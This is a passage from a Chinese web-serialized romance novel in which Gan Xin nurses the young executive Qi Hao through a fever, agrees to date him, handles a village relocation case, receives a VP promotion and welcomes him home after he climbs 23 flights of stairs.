甘歆脚疼,站那么久已经是极限,她本来也想坐到床尾的沙发里,可背着,好像看不见齐灏挂的水,地上的毛毯厚,她又拿了个靠垫过来,垫着坐在了地上。 她发现,每个角度看齐灏,感觉都是不一样的。 低着头看齐灏,觉得他像一只温驯的可爱小狗,平视的时候,他是个带着点自我的大男孩,仰视的时候他…… 他的呼吸不重,睡着了也这么安静,轮廓这么锋利鲜明,可每次看向自己的时,他好像都带着笑意,眉头皱得这样紧,他在想什么呢,又梦到了什么呢? 没来得及刻画仰视的形象,甘歆的手就情不自禁地伸了过去,指尖点到了他的鼻梁,到山根,再往上,柔软的指腹覆盖到了他的眉心,试图慢慢展平。 她又用手指背去摸他的额头,温度比刚刚降下来了些,还是热。 肯定是连轴转,又或许那边根本没忙完,甘歆想,换作是自己的话,都不一定能够直接从工作中抽离出来,只为了确认对方的安全。 又不是小孩子,干嘛这么紧张。 甘歆心里溢出了甜蜜的嗔怪,表情慢慢柔和了下来,嘴角都不自禁地弯了弯。 刚刚在北泽的雨好像没下到这里来,虽然也厚云遮天,可温度湿度好像都正好,她突然想起之前来北泽齐灏喝醉后,万般不舍地拉着她,说一定要等他睡着后再走。 现在齐灏睡着了,甘歆半点也没想离开的意思,她就这么安安静静地趴在床沿,手覆在他的小臂上,似乎想帮他暖一暖流进去的点滴……他的长睫毛有时会有些轻颤,又慢慢平息,像是被微风拂过的小小羽扇。 她以前看“静好”两个字,总不太懂其中的意味,这会儿的体会,她想,大概就是静好吧。 点滴的速度不慢,四十分钟左右,甘歆就给周泽发了消息,请医生上来拔针,小医生大概不知道这户人家家里的关系,只看甘歆穿着睡衣,以为是齐灏的家人,就照着他老师的嘱咐,又将用药说明强调了一遍。 “您弟弟没什么大碍,请放心,按时吃药,多休息休息,很快就会好的。” 甘歆一愣,点了点头,“好的,谢谢,麻烦您了。” 小医生正转身要走,一道暗哑的声音从床上传来,“不是弟弟……” 齐灏连眼睛都没睁开,清了清嗓子又重复了一遍,“不是弟弟。” 即使不知道齐灏的真实身份,但能住在这里的必定非富即贵,小医生瞬间有些慌乱,他看了看周泽,又看了看甘歆,似乎在寻求解救。 周泽自然不会多说,甘歆往前踏了一步,“不好意思,麻烦您了,您还有事的话要不先忙?” “哎,好好,好的,那我先回去了,”他看了眼准备送他的周泽,又小声说了句,“抱歉。” 屋子里又只剩下了他们两个。 齐灏伸手揉了揉眼睛,才慢慢睁开了,里面的红血丝依旧很多,肉眼可见的劳累,他坐了起来,离甘歆坐的地方近了点,凑过去看她。 “……看什么。”甘歆头偏过去了些,觉得脸上有些发烫。 齐灏没管,又凑过去了些,声音压得很低,像在说悄悄话,“以后这种事情会发生很多次。” 甘歆知道他在说什么,但选择了装傻,“什么事情?” 年轻的男人往后仰了仰,离她远了些,声音冷淡了下去,“你当没什么事发生也行。” “什么事啊?”眼见他要不高兴了,甘歆还憋着笑逗他,捏了他一下胳膊。 “没什么,”齐灏蹭了两下又躺了回去,“你弟弟要睡觉了,出去的时候把门带上。” 他竟然用被子把脑袋都蒙住了! 甘歆再也忍不住笑,但他刚恢复些,也不敢闹他,一边笑一边说:“哎你怎么这样啊,小孩儿吗是?” 被子里的人理都不理她,甘歆清了清嗓子,假意离开床沿,“那我走了啊。” 她才刚刚起身,坐着的凹陷还没回平,手腕就被从被子里伸出的一只手握住了,这只手慢慢下移,蹭过她的手背,抚到手掌,又顺着指缝往上推,与她交错地握住了手。 “不许走。”被子里传来了闷闷的声音。 他的手还有些烫,甘歆心头一颤,不忍心松开,也慢慢回握了回去,“嗯,不走。” 齐灏将脑袋露了出来,她难得在他的表情上看到了天真,不知是否因为发烧的关系,脸还有些红,他手上的汗洇到了她的手掌上,深邃的眉眼就这么直白地看着自己。 “姐姐,别真的做我姐姐,做我女朋友,好不好?” 他的嗓音好哑,哑得甘歆的心都有些酥了。 明明点头就可以的事情,她却自卑了起来,过去齐 灏在说这些的时候,她心里想得更多的是,这个人不合适自己,现在就这么看着他,她竟然在担心,自己能不能拿出同等重量的喜欢给他。 她花期正盛,可他才开始郁郁葱葱。 齐灏等着急了,又坐了起来,毫不掩饰他的急躁、慌乱,这些原本不可能会出现在齐灏这个人脸上的表情,如今活灵活现、淋漓尽致。 “我真的很喜欢你,给我个机会,允许我……陪在你身边,对你好,让你开心,好不好?” 甘歆抿了抿嘴,克制住了心里的潮涌,“陪在身边就够了吗?” 到底才二十出头,只是一句疑问,就足以将他的野心打得后退,寰科的齐总,在行业里杀伐果断、独裁横行,但在面对自己喜欢的人面前,仿佛只要有一点点“蚕食”的机会,就好像就知足了。 他说:“……够了的。” 皮筋扯久了容易松,狗狗逗久了也会乏。 “可我不够的,”甘歆捏住了齐灏的手掌,“我要得很多。” 齐灏诚挚地看了过来,“……你要什么?” “我很挑剔、也很贪心,我不要一个只会对我好的你,我也想接触你的坏,”见齐灏要说话,甘歆赶紧打断了他,“你先听我说完。 “我想和我谈恋爱的人是你,而不是一个完美的男朋友,你不需要什么都听我的,当然我也不会什么都听你的,不需要以我为先,甚至可以不用以我们为先,你不只可以让我开心,你还能像今天这样,对我生气、凶我,甚至骂我,我……” 甘歆深吸了一口气,才继续往下说:“齐灏,我不是在给你机会,我是在给我自己机会,你能不能……用最真实的你,来对待我?” 他的表情有些困惑,没有立刻答应下来。 “你也知道……我们的差距很大,不管从哪个角度来说,”甘歆咽了咽,齐灏睡着的这一个多小时里,她就在思考,如果真的决定谈恋爱,要怎样才能让这份感情,尽量持久一些,思来想去,依旧找不到好的办法,“无论最后结果怎么样,过程里,我不希望我们其中任何一个人委曲求全,你能做到吗?” 既然现实无法避免,那就用真实来碰撞。 绚烂一瞬的烟花也好,久久炙热的火山也好,只要是无限接近真实,那无论什么结果,她都认了。 齐灏沉默了很久,抬起头来的时候目光已然沉静了,“我答应你。” “不许骗我。” 甘歆难得说稚气的话,齐灏的目光就温柔了起来。 “不骗你。” “也不可以阳奉阴违。” “好。” “……那我测试一下,”长期独身主义的甘歆,对这种浓情的时刻已然有些陌生,她往后退了一点,再看向齐灏,“如果下次我还惹你生气,那你——” 齐灏似乎不想让她再赘述了,整个人往前挪了挪,环抱住了给他出题的人,将下巴搁在了她的肩膀上,汲取着她头发的香气,闭上了眼睛,他就在她的耳朵边,哑了的声线比原先更加低沉缱绻,呼着热气喃喃地说:“我就凶你……骂你……好不好?” 他的声音太有蛊惑性,甘歆下意识地就环上了他的腰,轻轻点了个头,“……嗯。” “甘歆,你以后就是我女朋友了。” 齐灏突然说了这么句。 她笑了出来,从刚刚的严肃认真中抽离,拍了拍他的背,“咱也是攀上太子爷了,算豪门吧?” 齐灏也笑着回答:“算。” 她又故意问:“会仗势欺人吗?” 男人将她松开了一些,两人额头相抵,小声说:“医生说我就是普通上火,我听见了。” “嗯,所以呢?” “可以仗势欺人吻你么?” 不等他动作,刚刚还放在齐灏腰侧的双手勾过了他的脖颈,甘歆将自己的唇送了上去,轻咬了一口他的嘴唇后,才含糊地说道:“这个用不着仗势欺人。” 第50章 第50章歆总,小齐来接您回家。…… 齐灏的烧终于在第二天完全退了下去,保守起见,他们在这个宅子里又多呆了两天。甘歆也是后来才知道,原来这里是齐灏爸爸购置的一处房产,因着这里山水秀丽,他又爱艺术,一年可能要在这里住上个把月,索性就买了这个半山别墅,平时虽然不太有人来住,但为了维护,依旧还是保留了一套简单的服务人员班子在这。 他不太愿意谈论他的爸爸,甘歆也没多问,倒是这里的管家殷勤得很,也很精明,会来了解甘歆吃饭的口味,也为她准备了几套换洗的衣服,还会侧面打听一下少爷的近况,甚至会特意在她面前说齐老板很挂念儿子。 这几天除了睡觉,两人都黏糊在一起,可要说黏糊,也没有那么亲密。 先前齐灏抱着她进的房间,是他的卧室,但甘歆帮他拿衣服的时候看过,衣柜都是空的,最后还是让周泽从行李箱里拿来了。他们白天各自占了个桌子办公,齐灏把办公桌让给她了,自己就坐在高脚凳上,电脑随意地放在咖啡桌上工作。 其实齐灏去北泽村的当天,沈确就知道了,这两天也特意没给甘歆打电话问情况,只是给她发了个消息问“顺利吗”,甘歆回“顺利”回得很快,沈确又给她发了个“哭泣”的表情,她不知道什么意思,但那会儿齐灏正好走过来,她便没再问。 甘歆发现,齐灏比她想得还要忙碌一些,耳朵上几乎一直挂着蓝牙耳机,虽然很少说话,但也很少开小差,神情一直是专注的,只是有的时候会简略地说几个字,和外面传得几乎一致,冷淡、疏离又严格,但也是这么近地在他身边,她才看得到,每次他的会议结束后,都会说辛苦了和谢谢。 他们几乎都是忙到下午四五点才得空,有的时候齐灏开着会,就会泡一杯热咖啡或者热茶放到她面前的桌上,专注开会的神情虽然没变,但看着冒着热气的马克杯,甘歆觉得心里也暖暖的。 甘歆也不扭捏,真下定决心要恋爱了,在自己的工作提前结束时,也会蹭到齐灏的身边,他会拿着电脑、带着甘歆一起坐在地毯上,每每到这个时候,齐灏总会空出一只手,将她揽进怀里,用脸颊摩挲她的发。 她记得齐灏还把麦克风关掉过,转过脸问她,这会儿怎么不怕偷窥到商业机密了,甘歆没好气地说,你戴着耳机,又不怎么说话,屏幕上连个文件都没有,哪来的商业机密,齐灏就搂着她笑,还会偷偷亲她的脸。 之后甘歆才察觉,这些所谓的商业计划以及执行案,早就在他的脑子里了,其实他也没有外面传得那么神,齐灏除了天资绝对的聪颖之外,还非常努力,他会独自复盘,也会提前预备,也正因为他准备充足,所以才能看起来毫不费力。 他们也会在工作结束的时候接吻,有的时候在咖啡桌边,有的时候在窗台边上,更多的时候是一起坐在地毯上的时候。甘歆觉得齐灏有点像小青柑,清冽的味道,整个人都很清新,慢慢品来,才能汲取到他身上埋着的木香,醇厚、丰沛。 像他的吻一样,起先的几下总是蜻蜓点水,好像是个叩门人,在征得了主人的允许后,才慢慢放松、慢慢沉浸,他会将她的嘴唇吸得莹润饱满,会用舌尖描绘她唇线的走向,会在齿关这里停留几秒,先放些调皮的氧气进去,再深深、深深掠夺。 有的时候情动,他会把甘歆抱坐在自己身上,搂着她腰背的手明明都快按得没了章法,还是在一次次吮咬中克制。甘歆当然不会主动,也只会将快要烧起来的脸,埋进齐灏的胸口,双手抓着他臂膀上的衣服,松开时已经有了褶皱。 夜晚,齐灏让甘歆睡自己的卧室,他跑到隔 壁的客卧睡,明明只隔了一面墙,他依旧会在手机上说想她,两人明明之前装聋作哑做了那么多次的荒唐事,真枪实弹起来,却比谁都生涩,都没人正面提过。 他们在这座像城堡一样的宅子里呆了四天,第五天一早,甘歆就接到了北泽村村支书的电话,那边支支吾吾地赔礼道歉,又说得模糊,就想让甘歆再去一次,说是李大娘的事已经办好了,李大娘想见她,请她无论如何再去一次。 甘歆没有立刻答应下来,而是看了眼齐灏,他对着甘歆耸了个肩来表示自己的无辜。 好不容易摆脱了难缠的村支书挂了电话,她走到齐灏身边,有些不可思议地笑问他,“你做什么了,能让个浆糊精主动联系我?” “……没做什么。” 她戳了戳他的胳膊,“快说。” 齐灏先看了她一眼,又轻轻咳了一声,话都说得模糊,“我就是……问了问地方城建局的老师,有没有空去北泽村做个调研。” 甘歆眼睛都瞪大了,好像终于明白了他上次说的“他们不敢”是什么意思,“这么大阵仗,怪不得村支书主动来跟我示好。” “没有,”齐灏脸色有些不自然,“真是去调研的,什么也没做。” 甘歆他跟前凑了凑,拿下巴在他衬衫上左右蹭了蹭,极显亲昵,“一般人可叫不动啊。” 齐灏的眉毛挑了一下,甘歆的这个动作似乎对他来说很受用,“有的时候,还是得仗势欺人一下。” 她突然又想到沈确的那个哭泣表情,又问他:“沈确你也欺负了?” “……不算欺负。” 那就是欺负了,甘歆跟看小孩儿似的瞥他,“老实交代。” “他们自己操作失误,我趁机赚了一笔,”齐灏顿了顿,又解释了一下,“没上次赚得多。” 她的手指卷上了齐灏的领子,往下拉了拉,对着他的嘴唇吹了口气,“齐总这是在给我撑腰么?” “不是,”他捉住了甘歆的手,吻了吻他的手指,“是在给我自己出气。” 甘歆立刻抽回了手,“你哪儿来的这么大的气?” “……女朋友丢了,换谁谁不生气。” “你还挺有理。”甘歆笑了出来。 他用自己的身体表演了个狗狗挺胸的表情包,笑得甘歆都快停不下来了。 “北泽村我还得去一趟,李大娘的事……我得管管。” 这次齐灏没有拦,而是充分尊重了她的意见,“要我去吗,还是等你完事了来接你就好?” “等完事了我和你说吧,村委不认识你,城建局的老师还在那,如果碰到了,等着村委又有了别的心思,那我这趟也算白跑了。” 齐灏点了点头,“那你结束了要和我说。” “知道了,”甘歆下意识地嘟囔了句,“以前就说你管得严,没想到真落自己身上了。” 齐灏似乎听了这句话很高兴,伸手轻轻捏了捏她的脸。 再次回到北泽村,甘歆有一种……衣锦还乡的感觉,村干部夹道欢迎,连之前都嫌弃的李大娘家,都前呼后拥地跟着,一边说着给李大娘迁坟的计划,一边说已经给寻摸好了地方,李大娘也同意了,等着李大娘的补偿款和房子下来了,钱帮着存,房子帮着租,让李大娘去养老中心住,在她身边跟几个大蜜蜂似地嗡嗡。 这些糖衣炮弹甘歆看多了,只是表面应和,等到了李大娘家里,她找了个空,和李大娘单独相处了一下,李大娘这次连拐杖都没拄,就一步步挪过来了,看上去精神头都好了不少。 “女娃子,你做了啥惊天动地勒大事?他们上来就给老太婆我治脚……还做了全身检查!” 甘歆挠了挠额头,知道这些都是齐灏的吩咐,又不太好说,于是就随便找了个借口,“……朋友,朋友帮忙的。” “啥子朋友这么牛批哟,”李大娘抓着甘歆的手,“见都没见过就带老太婆上大医院检查?还不要钱?!你莫要被人骗咯!现在外头骗子多!” “不是、不是骗子,真是朋友。” “男勒女勒?” 她见甘歆不回答,表情倒松快了下来,满脸的褶子还透出了些狡黠,“我懂辽,是女娃娃勒男朋友。” 甘歆没忍住,“噗”地一声笑了出来,“李大娘,身体检查得怎么样?” “就一些老年病,大病没得,上次脚崴咯也好咯,”她又凑过来小声说,“村委那几个弯弯绕绕勒人,突然对我老太婆好上咯天,要帮我老汉儿大哥迁坟,我信不到他们,你帮我分析一哈儿,他们是不是中咯什么邪,还是我老汉儿显灵咯?” 甘歆握住了老太太的手,来回搓了两下,“大爷肯定看您辛苦,天上照顾您,地上也有好人,念着您是老人家,不会骗你的,如果他们骗你,你就给我打电话。” 说着把自己的名片递给了李大娘,还指了指上面的数字告诉她在哪儿,李大娘立刻将名片收进了裤腰的小袋子里,一边叨叨,“天上是我老汉儿,地上勒好人,是女娃娃你,还有你勒男朋友。” 李大娘的话明明没这么标准,口气也没那么好,但浇筑在甘歆心里头,就像一罐蜜似的,注得满满当当,哪儿哪儿都是香甜。她还没有将和齐灏在一起的这件事告诉任何人,事实上好像告诉其他人也不合适,但对着李大娘,她有点想说。 甘歆凑到了李大娘的耳朵边,眼睛看了看四下没人,悄悄说:“李大娘,我男朋友也是个小男人。” 李大娘笑得眼睛都眯了起来,抓过了甘歆的手拍了拍,“小男人好。” “我也觉得挺好的。”她笑得眉眼弯弯。 甘歆最后和村委确认李大娘的搬迁细节后,也表示了自己会全程监督,希望在执行细节上不要落下,碰巧城建局的老师正好路过,过来一起聊了两句,也和甘歆交换了名片,听说了李大娘的事之后,说这件事他们也会追踪,以后可以做成典型来宣传,这极大地鼓励了村委,表明这件事一定会好好干。 离开村委前,城建局的老师又来特意和甘歆握了个手,并向晟宇表示了保障房项目的感谢,希望这样有社会责任的企业可以多一些,甘歆点了点头,说得中规中矩,倒是在这个老师的眼睛里读出了些合作倾向来。 齐灏这个小男人,连介绍个资源都要弄成巧遇,真是够鬼的。 她给齐灏打了电话,接通后什么还没说,对面就说在村口等她。 甘歆往前走了走,那辆不起眼的哈弗H6就停在那,旁边站了个身高腿长的男人,他今天没穿西装,米色的夹克外套下是丹宁色的牛仔裤,米白色的板鞋,头发碎碎散散的,有些落在了额头上,整个人朝气蓬勃,脸上的笑意比平时多了些。 走近了,才听到他说:“歆总,小齐来接您回家。” 又凑到她的耳边说想吻她。 好巧,她也是。 50-60 第51章 第51章临时有事,要加班,晚点来。…… 出差后再进公司,连办公室的门都没摸到,甘歆就被王潇请去了楼上,说沈总有急事找。 敲开总经理室的门,沈确就站了起来,引她到会客沙发上坐,又吩咐王潇泡两杯咖啡来。 甘歆坐在沙发上,琢磨着沈确的表情,似笑非笑的样,肯定没憋什么好主意,她也不说话,耐心等待沈确发挥。 直到王潇将两杯咖啡放到了茶几上,又退了出去,沈确才搓了搓手,没忍住对甘歆笑了笑,“来,歆总,蓝山咖啡,新烘的豆子,你尝尝。” 甘歆看着沈确,伸手作势要拿,又放了回去,“老板你有话直说。” 沈确欲言又止,喝了一口咖啡,又抿了下嘴,才开口,“……你能不能管管齐灏,让他别瞎折腾?” 甘歆心里一跳,大概明白怎么回事,但傻还是要装的,“我管什么……” “婷婷吵得我头疼,”沈确虽然扶着额头,但嘴角却是笑的,又露了点无奈,“他追你,你还管不了他?” “跟任婷有什么关系。”甘歆嘟囔了一句,也拿起咖啡喝了一口,舌头瞬间 都绷起来了,“哇,这么酸!坏了啊这是?!” “……酸吗?”沈确清了清嗓子,低头闻了闻又喝了口,“婷婷自己烘的,不是挺香的么?” 甘歆直接笑出来了,把咖啡杯往茶几上一放,“人家顶多眼里出西施,你怎么味觉都坏了。” 沈确皱了皱眉,“很明显吗?” “不明显吗?”甘歆就差翻白眼了。 “好吧,不说这个,”沈确也把杯子放下了,“你让齐灏别折腾雅悦了,跑三个大户头都不及他操作一次的。” “这话我可说不着,”甘歆赶紧撇开,“要说你自己跟他说去。” “他喜欢我啊我跟他说有用?” 甘歆被噎了下,“……不是,老板,咱能不能公私分明一下?” “好吧这的确是我的私人请求,”沈确叹了口气,“任老爷子气得胡子都歪了,又担心以后公司交给婷婷不行,这都两次了,寰科是无所谓风险,别家谁经得起这个折腾,何况他们酒店业务也在转型,挺难的……” 甘歆头一次见沈确这么体谅别家公司,心里滋生出点异样来,打算揶他一下,“那你俩订婚不就完了,强强联手。” 沈确止住了话头,再看向甘歆的时候带着点自嘲,也带着点无奈的笑,“不是,你怎么哪壶不开提哪壶。” “哎呦,现在不是您不同意啦?”甘歆笑得眼睛都弯了。 “你就说你能不能帮这个忙吧,”沈确放弃和她兜圈子,“要不就让他折腾晟宇,反正以后你是VP,他折腾你拿得也少,让他自己掂量去。” “老板你这是下血本了啊,”她往前凑了凑,“喜欢上任婷了?” 沈确的表情凝了几秒,才展现出习惯性的笑容,“逗小猫玩儿罢了。” 话止于此,他也不再提让甘歆去关照齐灏的事了,她心里也松一口气,毕竟现在自己也没做好要和别人说的勇气。 “你VP的事董事会已经通过了,晚点法务会把合同发给你,里面有具体的收益,当然,和之前比,责任也多了不少,如果没什么问题的话,HRD会和你重新签一份合同,公司盖章后生效,”沈确看了一眼甘歆,笑容染上了些欣慰,“看着自己带出来的人,成为能够和自己并肩的合作伙伴,感觉还是挺好的。” “谢谢沈总,一路教导都记在心里了。” 沈确对着甘歆伸出手,“再次欢迎你加入晟宇,带领晟宇。” 甘歆握了上去,“我会好好加油的。” 临走前,甘歆看了看桌上的咖啡皱了皱眉,再看沈确泰然处之的样子,她暗暗笑了一下,这个男人,感觉要在四十岁这年开花儿了。 回到楼下后,甘歆先召集了项目组开会,说北泽村的第一批拆迁签约率已经达到百分百,尽快落实安置保障,又表示这次拆迁城建局的领导也关注到了,做得好的话会当成典型宣传,也有利于第二第三批的拆迁动员。 甘歆说起来不过七八句话,但在场的所有同事都知道不简单,尤其是最后一个钉子户,之前的沟通几乎陷入了死局,这下甘歆出马,药到病除,所有人看向她的视线里又多了一层敬佩。 会议末尾,甘歆将北泽村的后两批的拆迁动员事项交给了张然,并在会议上直接表示项目的决策以张然为主,大家都是聪明人,狐疑地互相看看后,甘歆没让他们有更多猜测的机会,只是表达了张然以后会逐渐管理业务的事实。 笑起来明媚的甘歆,在没表情的时候确实冷,她环顾了会议室一圈,没人再有别的意义,她便宣布散会,同时请张然去她办公室一趟。 张然进来的时候有些慌张,更多的是不解,平时和甘歆开玩笑说得顺溜,现在只站在办公桌前,连身体都僵硬着。 “你紧张什么,坐啊。”甘歆招呼她。 张然坐下之后,又往前挪了挪,“歆总,怎么突然——” “业务你已经熟悉了,管理上还是有点手生,先从项目上开始吧?”甘歆没解释,直接和她这么说。 “……阿歆,”张然蹙了个眉,原本温婉的脸上又多了份小心翼翼,“我是不是做错什么事了?” 甘歆叹了个气,又抿嘴笑了笑,“小然总要求进步是好事,要鼓励,让你熟悉管理,是希望你逐步从部门里走出去,多和别的部门和上下游接触。” “我……” “然然,你既然知道自己想要什么,就去尝试,”甘歆没把VP的事和她说,只是单纯地和她说了会给她升职的机会,“后两期的拆迁也是挑战,完成度高的话,我会向HR给你申请AAD的职位。” 张然的表情都是惊讶,“副……副总监?” 甘歆笑得自然,点了点头,“我对你还是很有信心的。” “……谢谢、谢谢歆总,谢谢!”张然眼睛亮晶晶的,又咽了咽,“我以为……我老公上班后,我再去争取这些,就不大合适了。” “你老公是你老公,你是你,”甘歆抽了张纸递给她,“想要,就去争取。” 张然瘪了嘴,用力地点了点头,“嗯!” 甘歆让她坐一会儿再出去,不然情绪太激动被同事们看到不好,也和张然说了些管理上的技巧,以及可能在拆迁签约上会碰到的问题。见张然听得认真,但还是有些紧张,便不再和她聊工作了,问了问她儿子的近况,也问了问他老公在洲海工作得顺不顺利,等她完全放松下来后,才让她回工位。 张然前脚出去,甘歆就在手机上收到了她的消息,“爱你,谢谢。” 她满足地叹了口气,看着窗外日照逐渐强烈,甘歆才意识到,夏天要来了。 齐灏的备注名已经被甘歆删去了,他的昵称依旧是景页,但她现在已经没了之前的负担,完全了解齐灏和景页是同一个人。 她翻阅着聊天记录,这人前几天还在和自己说,要让她把备注改成男朋友,甘歆可不干,什么小学生行为,齐灏连发了三个狗狗哭哭的表情,也没让她动摇。 虽然没动摇,但也不妨碍她溢于言表的欢喜。 好像……谈恋爱也没什么不好。 聊天记录翻到底部,手机传来“嗡”的一声,来了条新的消息。 “忙……”狗狗晕倒.jpg 甘歆没忍住笑出了声,刚想回复,他又发了一条过来。 “今晚可以去歆总家吃饭吗?我带菜。” 倒是挺会治愈自己的,甘歆想了想,“别忘了带狗粮。” “好!”狗狗挺胸.jpg 她知道这些都是齐灏见缝插针发来的,便没有再回。 一想到晚上能见到齐灏,甘歆的心底里也生出了期盼来。 临下班前,甘歆邮箱里收到了好几封周报时,她才反应过来今天是周五,看着外面办公室的同事们纷纷在理包,她也不想等了,收拾了一通也出了办公室。 等电梯的时候又被让了位置,以前甘歆没觉得什么,今天倒有些不好意思,好像被人知道今天晚上要见男朋友似的,她假装拿手机走到一边,让同事们先进,等到下一辆人少些了才进去。 知道齐灏会带菜来,她还是去生鲜超市里买了些东西,还碰到了梁越。 不过这次梁越身边多了个人,是个长相温柔的女性,他们正在看冷鲜柜里的牛奶,那位女士还在看生产日期,又说让他换一瓶更新鲜的。 甘歆本来无意打扰,但目光还是与梁越撞 了个结实。 她先对那位女士点头打招呼,才对梁越说:“梁老师,来买菜啊。” “啊,是是,阿歆你也来买菜?” “是啊,”甘歆微笑着,还带了点狡黠,“不介绍一下?” “噢噢噢,这这这,”梁越的脸一下子通红,连旁边那位女士的脸也跟着一起红了,“这是临江中、中学的老师,也……也是我女女、女朋友。” 甘歆见那位女士扯了扯梁越的胳膊,好像有些害羞,她也不多揶揄,真诚祝福道:“梁老师好福气啊。” “是、是……”梁越紧张得一下捉住了女朋友的手,两个人的脸更红了。 哎呦,这狗粮,她不吃了。 “我买好了,先走了,回见啊。” 初夏的风好像都带着香甜,连地面的温度都变高了些,甘歆回家的脚步都轻快了许多。 她想,夏天啊,真是恋爱的季节。 今天连电梯都没等多久,到家后将买来的东西放好,简单处理了一下食材,就收到了齐灏的短信。 “临时有事,要加班,晚点来。” 甘歆没在意,回了个“好的”。 她在沙发上窝了会儿,一不小心睡着了,醒来时已经快八点了,手机依旧没动静。 肚子咕——了一声,她拿出了明天打算当早餐的吐司,抽了一片啃了起来。 手机响了,甘歆快速解锁后打开。 临江公寓小区群:居民同志们,大家好,电梯临时故障,正在通知维修,暂不能使用,预计明天上午恢复,请大家耐心等待。 细密的、带点陌生的情绪爬了上来,一些失落,还有些无可奈何。 感觉自己好像被排挤在了初夏的爱恋气氛之外。 嘴角轻扯了下,算不上是个笑,带着些无奈又有些庆幸,齐灏没有在来的路上。 她打开了齐灏的对话框,输入得很慢,整个人都有些泄了下去,“电梯坏了,明天再说吧。” 她睁了睁眼睛深呼吸了一口,决定先去洗个澡。 又四十分钟过去,甘歆从浴室里出来第一时间去看手机,齐灏依旧没有消息。 发出去的消息石沉大海。 甘歆自顾自地耸了个肩,感觉以前总被前男友念叨的“你怎么那么忙”的那些话,好像都被打包扔回了她自己这边。 夜里的情绪上来得很快,她盯着江面怔怔地发呆,电话铃声响了好久才反应过来。 是齐灏。 甘歆按下了接听键,将手机贴到了耳朵边。 他的声音里带了点喘,“开门。” 第52章 第52章“见我怎么还带这个。”“我…… 齐灏手里拎着西装外套,领带已经完全松开了,连衬衣的纽扣都解开了两颗,额头上、脖子上亮晶晶的都是汗,胸口还有些起伏,脸上却展了个大笑,露出了洁白整齐的牙齿。 他歪了一下头,像个轻巧夺冠的长跑运动员,“挺高。” 刚刚积攒在心里的那些郁闷瞬间散去,表面上还在假意责怪,甘歆往后退了退,让齐灏进门,“都跟你说了电梯坏了,怎么还过来。” 齐灏边换鞋边说:“楼梯又没坏,楼梯坏了吊个直升机也得来。” 甘歆看了他一眼,没说话,齐灏就凑了过来,往她的脸颊上亲了一口,“来晚啦,我道歉。” 男人的嘴唇边也是汗津津的,这一下吻得不轻,甘歆觉得脸上都沾上了些,赶忙往外推了推他,“脏死了,去洗脸洗手。” 齐灏先递了个袋子过来,“本来还像秀一下成果的,来不及了,成品菜可以吗?” 甘歆接过手,看到了江畔饭店的打包盒,在手里还是热的,有些惊讶,“什么时候买的?” “让周泽定的,路过的时候取了下,”齐灏走到沙发边,随意将外套放下,扯掉了领带,回过头问甘歆,“我能直接洗个澡吗?” 她点了点头,“你带换洗衣服了?” “车里有,健身备着的,”他甩了甩手上的扎口袋,“毛巾拖鞋也自带了。” 看着齐灏进卫生间的背影,甘歆笑了笑,还真是运动了。 她将饭菜从袋子里拿出来放到餐桌上,不是复杂的菜式,都是家常小炒,试了试温度,不凉,甘歆就坐在餐桌边等齐灏。 或许是糖醋里脊的香气实在太过诱人,又或许是餐桌上的灯光将它照出了妖冶的色泽,甘歆跟受了蛊惑一样,连筷子都没拿,直接用手拿了一条放进了嘴里,投入得连卫生间的门开了都不知道。 齐灏站定着,没有去打扰,嘴角带着笑看她将里脊偷偷放进嘴里,直到咀嚼咽下,才出声,“偷吃呢?” 闻声,甘歆一愣,回过头看齐灏,还吮了吮指尖,整个人被餐桌上微黄的灯光照得柔和又性感,难得俏皮地用撒娇的语气对齐灏说:“饿了嘛。” 齐灏走到甘歆身边,刮了一下她的鼻子,“怎么不知道吃点东西垫垫肚子。” “吃了,”甘歆挑了挑眉,“我可不想再犯胃病。” 男人低头笑了一下,露出了欣慰的表情。 往常两人吃饭,总带着做饭和洗碗的步骤,相处的时间就会很长,这次的短暂就十分明显,吃完后只是简单收拾了一下,就觉得该说再见了。 此刻的气氛突然变得尴尬了起来,甘歆看着西装革履的男人进来,这会儿又要送穿着运动T恤短裤的人出去,她有些不知道该怎么开口。 今天晚上连亲都没好好亲过。 他真的就跟来吃个饭似的。 可看着正在餐桌前收拾外卖盒的齐灏,动作流畅,一点停顿、故意放慢节奏的意思都没有,甘歆又有些气恼。哪儿不能吃饭,偏偏要上她家来吃。 齐灏将外卖盒都拢好放进了袋子里,又扎了口放到玄关,他也看了看放在门口自己的皮鞋,愣了几秒,硬生生转了个弯,“我……洗个手再走。” 厨房里的水声也太久了,久到甘歆眼底有了笑意,她走到厨房门口,靠在了门框上,清了清嗓子。 她故意说:“旁边有洗手液。” “噢,”齐灏挤了一些在手上搓了搓又冲掉,“沾到外卖盒上的油了。” 甘歆往里走,抽了张厨房纸递给他,“擦擦。” 手洗干净了,都擦干了,齐灏的犹豫越来越明显,甘歆倒是心里越来越稳,看着他的节奏慢慢乱掉。 她转了身往门口走去,还特意说了句,“你出来的时候把灯关掉。” 过了好几秒,厨房暗了,穿着运动服的年轻男人从里面走了出来,表情不是很自然,总像有话要说。 甘歆就站在门口,一副要送客的样子。 齐灏不明显地鼓了鼓脸颊,弯下腰正要去拿垃圾袋,短袖的袖口就被甘歆揪了一下。 她问得很轻,像从天上落下来的羽毛,“23楼……上楼累么?” 男人好像没懂她的意思,只看着她摇头。 “下楼……会不会累?” 他的表情先有了些疑问,接着眼底就多了些惊喜,多了些期待,“可能会吧。” 甘歆又逗他,“那也可能不会?” 这样的文字游戏对甘歆来说是享受,对齐灏而言就有些折磨,像是吊在自己面前的一块香甜蛋糕,散着蛊惑人心的香气,却始终品尝不到半分。 他从甘歆的问题里,找到了一些可能性,没再去管玄关的其他,而是握上了她的手,大拇指在她的虎口处缓缓摩挲,问得恳切、真实心实意,“我可以留下来吗?” 终于听到这句话的甘歆,笑了笑,她对着齐灏勾了勾手指,让男人俯下身来,凑到他的耳朵悄声说:“我以为只有景页胆子比较大。” 也不知道这句话戳 中了齐灏的哪个点,他一下子将甘歆抱了起来,不是公主抱,而是面对面地,将她的两条腿放到了自己的腰侧搂过。 瞬间腾地而起让甘歆有些惊慌,也下意识地搂过了齐灏的脖子。 男人用鼻尖轻蹭她的鼻尖,说的话倒是霸占欲极强,“不许想他。” 甘歆又蹭回去,“好小气哦,想另一个你也不行?” “……不行,只许想我,看着我,只有我。” 最后一个“我”字还没完全说完,他就急迫地吻上了甘歆的唇,柔软、香甜,他终于品尝到了悬在面前的小蛋糕,吮吻之后再是轻啄,从唇角一点点的移动,快到唇峰时暂停,又从另一边的唇角开始,直至中央。 